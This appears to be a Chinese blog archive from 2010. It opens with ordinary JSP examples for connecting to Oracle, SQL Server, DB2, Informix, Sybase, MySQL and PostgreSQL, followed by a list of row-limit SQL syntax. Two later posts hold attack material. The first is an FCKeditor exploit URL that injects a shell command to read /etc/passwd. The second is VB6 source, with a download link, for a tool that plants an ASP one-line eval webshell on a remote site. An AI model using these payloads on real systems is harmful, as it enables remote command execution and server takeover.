“Article”目录存档

JSP连接各类数据库大全

2010年04月20日,星期二

一、jsp连接Oracle8/8i/9i数据库(用thin模式)
  testoracle.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“oracle.jdbc.driver.OracleDriver”).newInstance();
  String url=”jdbc:oracle:thin:@localhost:1521:orcl”;
  //orcl为你的数据库的SID
  String user=”scott”;
  String password=”tiger”;
  Connection conn= DriverManager.getConnection(url,user,password);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();
  %>
  </body>
  </html>

二、jsp连接Sql Server7.0/2000数据库

  testsqlserver.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“com.microsoft.jdbc.sqlserver.SQLServerDriver”).newInstance();
  String url=”jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=pubs”;
  //pubs为你的数据库的
  String user=”sa”;
  String password=”";   
  Connection conn= DriverManager.getConnection(url,user,password);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();   
  %>
  </body>
  </html>

三、jsp连接DB2数据库

  testdb2.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“com.ibm.db2.jdbc.app.DB2Driver “).newInstance();
  String url=”jdbc:db2://localhost:5000/sample”;
  //sample为你的数据库名
  String user=”admin”;
  String password=”";
  Connection conn= DriverManager.getConnection(url,user,password);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();
  %>
  </body>
  </html>

四、jsp连接Informix数据库

  testinformix.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“com.informix.jdbc.IfxDriver”).newInstance();
  String url =
  ”jdbc:informix-sqli://123.45.67.89:1533/testDB:INFORMIXSERVER=myserver;
  user=testuser;password=testpassword”;
  //testDB为你的数据库名
  Connection conn= DriverManager.getConnection(url);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();
  %>
  </body>
  </html>

五、jsp连接Sybase数据库

  testmysql.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“com.sybase.jdbc.SybDriver”).newInstance();
  String url =” jdbc:sybase:Tds:localhost:5007/tsdata”;
  //tsdata为你的数据库名
  Properties sysProps = System.getProperties();
  SysProps.put(“user”,”userid”);
  SysProps.put(“password”,”user_password”);
  Connection conn= DriverManager.getConnection(url, SysProps);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();
  %>
  </body>
  </html>

六、jsp连接MySQL数据库

  testmysql.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“org.gjt.mm.mysql.Driver”).newInstance();
  String url=”jdbc:mysql://localhost/softforum?user=soft&password=soft1234&useUnicode=true&characterEncoding=8859_1″
  //testDB为你的数据库名
  Connection conn= DriverManager.getConnection(url);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();
  %>
  </body>
  </html>

七、jsp连接PostgreSQL数据库

  testmysql.jsp如下:
  <%@ page contentType=”text/html;charset=gb2312″%>
  <%@ page import=”java.sql.*”%>
  <html>
  <body>
  <%Class.forName(“org.postgresql.Driver”).newInstance();
  String url =”jdbc:postgresql://localhost/soft”
  //soft为你的数据库名
  String user=”myuser”;
  String password=”mypassword”;
  Connection conn= DriverManager.getConnection(url,user,password);
  Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
  String sql=”select * from test”;
  ResultSet rs=stmt.executeQuery(sql);
  while(rs.next()) {%>
  您的第一个字段内容为:<%=rs.getString(1)%>
  您的第二个字段内容为:<%=rs.getString(2)%>
  <%}%>
  <%out.print(“数据库操作成功,恭喜你”);%>
  <%rs.close();
  stmt.close();
  conn.close();
  %>
  </body>
  </html>

Select Top在不同数据库中的用法

2010年04月19日,星期一

1. ORACLE
SELECT * FROM TABLE1 WHERE ROWNUM<=N
2. INFORMIX
SELECT FIRST N * FROM TABLE1
3. DB2
SELECT * ROW_NUMBER() OVER(ORDER BY COL1 DESC) AS ROWNUM WHERE ROWNUM<=N
或者
SELECT COLUMN FROM TABLE FETCH FIRST N ROWS ONLY
4. SQL SERVER
SELECT TOP N * FROM TABLE1
5. SYBASE
SET ROWCOUNT N
GO
SELECT * FROM TABLE1
6. MYSQL
SELECT * FROM TABLE1 LIMIT N
7. FOXPRO
SELECT * TOP N FROM TABLE ORDER BY COLUMN

FCKeditor 漏洞记录

2010年04月16日,星期五

http://xx.com/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?aspell_path=cat%20/etc/passwd%3E%20/tmp/1.txt

征途随机刷信工具

2010年04月11日,星期天

很久前写的一个程序了
当时伯乐木马很泛滥的时候在师傅“小珂”指导下写的,今天闲逛EST发现有人PM我要这份代码
就翻了下硬盘找了下,把完整代码和编译好的,修改后的LIN.ASP一起发上来
程序里有一段广告和QQ,大家就不要去加了,之前的一个朋友帮我的。

源码下载地址:http://forum.eviloctal.com/viewthread.php?tid=33302&page=1&fromuid=947#pid144177

再贴一段原来搞的伯乐杀手的代码。现在都很少人用这收信程序了。

Private Sub Command1_Click()
Inet1.OpenURL (Text1.Text + “/mibao.asp?action=put&u=3&pos=3<%25eval request(%22%61%64%22) %25>&mb=3&p=3″) ‘用inet连接网页
aa = InStr(Inet1.GetHeader, “404″) ‘判断页头是否包含字符“404”,返回0则不包含,否则返回其位置
If aa <> 0 Then ‘页头中包含404
MsgBox “木马插入失败!”, 48, “失败!” ‘则说明该网页不存在
Else ‘如果页头中不包含“404”
MsgBox “木马插入成功!”, 64, “恭喜!” ‘说明网页存在
Command2.Enabled = True
End If
End Sub

Private Sub Command2_Click()
If Text2.Text = Text1.Text + “/mibaoaa.asp” Then
MsgBox “已经存在!请不要重复此操作!”, 16, “error!”
Else
Text2.Text = Text1.Text + “/mibaoaa.asp”
MsgBox “请使用一句话木马客户段连接!密码ad!”, 64, “成功!”
Text2.Visible = True
End If
End Sub

Private Sub Command3_Click()
End
End Sub